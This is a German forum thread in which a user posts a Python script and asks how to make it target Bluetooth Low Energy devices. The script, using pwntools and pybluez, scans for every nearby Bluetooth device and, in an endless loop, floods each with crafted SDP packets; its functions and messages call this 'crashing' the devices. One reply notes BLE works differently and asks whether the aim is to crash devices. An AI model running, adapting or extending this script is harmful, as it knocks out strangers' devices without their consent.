Seite 1 von 1

Bluetooth Low Energy Befehle

Verfasst: Dienstag 26. April 2022, 14:20
von Stefan21
Hallo,

ich bin erst seit heute in diesem Forum angemeldet.
Ich hab schon seit längerem eine Idee, die ich gerne Umsetzen würde,
aber nicht weiß wie ich das machen soll.

Also :

Ich habe ein Script im Internet gefunden, dass eigentlich sehr gut passt. Jedoch sucht der Scanner nicht nach Bluetooth Low Energy (BLE) Geräten, sondern nur nach herkömmlichen BR/EDR Geräten. Mein Ziel ist es ein Script zu haben das automatisch nach Bluetooth Low Energy Geräten sucht und allen Geräten ein Packet zu sendet. Das Script sollte eine Endlos Schleife besitzen.

Ich habe meinen Informatik Lehrer schon gefragt (13. Klasse Leistungskurs) ob er mir helfen könnte, doch er meint ich könnte das selbst rausfinden. Ich weiß echt nicht an wenn ich mich wenden könnte, außer hier her.
Ich hoffe ihr könntet mir helfen, Ansätze zu finden.

Hier das Script:

from pwn import *
import bluetooth

service_long = 0x0100
service_short = 0x0001
n = 10000

p = log.progress('BT Sending')
p.status('Searching...')

def packet(service, continuation_state):
pkt = '\x02\x00\x00'
pkt += str(p16(7 + len(continuation_state)))
pkt += '\x35\x03\x19'
pkt += str(p16(service))
pkt += '\x01\x00'
pkt += continuation_state
return pkt

def crasher(targetAddress, targetName, timeout):
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.settimeout(timeout)
bluetooth.set_l2cap_mtu(sock, 50)
context.endian = 'big'
p.status('Connecting to %s (%s)', targetName, targetAddress)
try:
sock.connect((targetAddress, 1))
except:
p.status('%s (%s) connection timed out, could be recovering', targetName, targetAddress)
return
p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(50)
stack = ''
try:
for i in range(1, n):
p.status('Sending packet %d' % i)
sock.send(packet(service_short, data[-3:]))
data = sock.recv(50)
stack += data[9:-3]
except KeyboardInterrupt:
p.status('%s (%s) crash interrupted', targetName, targetAddress)
except:
p.status('%s (%s) crash attempt finished', targetName, targetAddress)
finally:
sock.close()
return

def start(scanTime, timeout):
p.status('Searching...')
btDevices = bluetooth.discover_devices(duration = scanTime, lookup_names = True, flush_cache = True)
for name, addr in btDevices: #`name` is actually the BT address, and `addr` is actually the device name!
p.status('Crashing %s (%s)', name, addr)
crasher(name, addr, timeout)
return

while 1:
start(3, 5)

p.success('Done')


Ich hoffe auf baldige antwort.
MfG
Stefan

Re: Bluetooth Low Energy Befehle

Verfasst: Dienstag 26. April 2022, 15:07
von __deets__
Ich bin mir sicher, du findest auch irgendwo da draussen, eine schnelle Suche spuckt zB https://geektechstuff.com/2020/06/01/py ... es-python/ aus.

Was aber nicht funktionieren wird ist der Rest deines Codes. Weil BLE so nicht funktioniert. Das kennt sogenannte Services, und die haben Characteristics. Da kann man nicht so generisch in einen Socket Daten pumpen.

Welches Ziel hast du denn mit diesem Code? Das das BT Geraet abschmiert?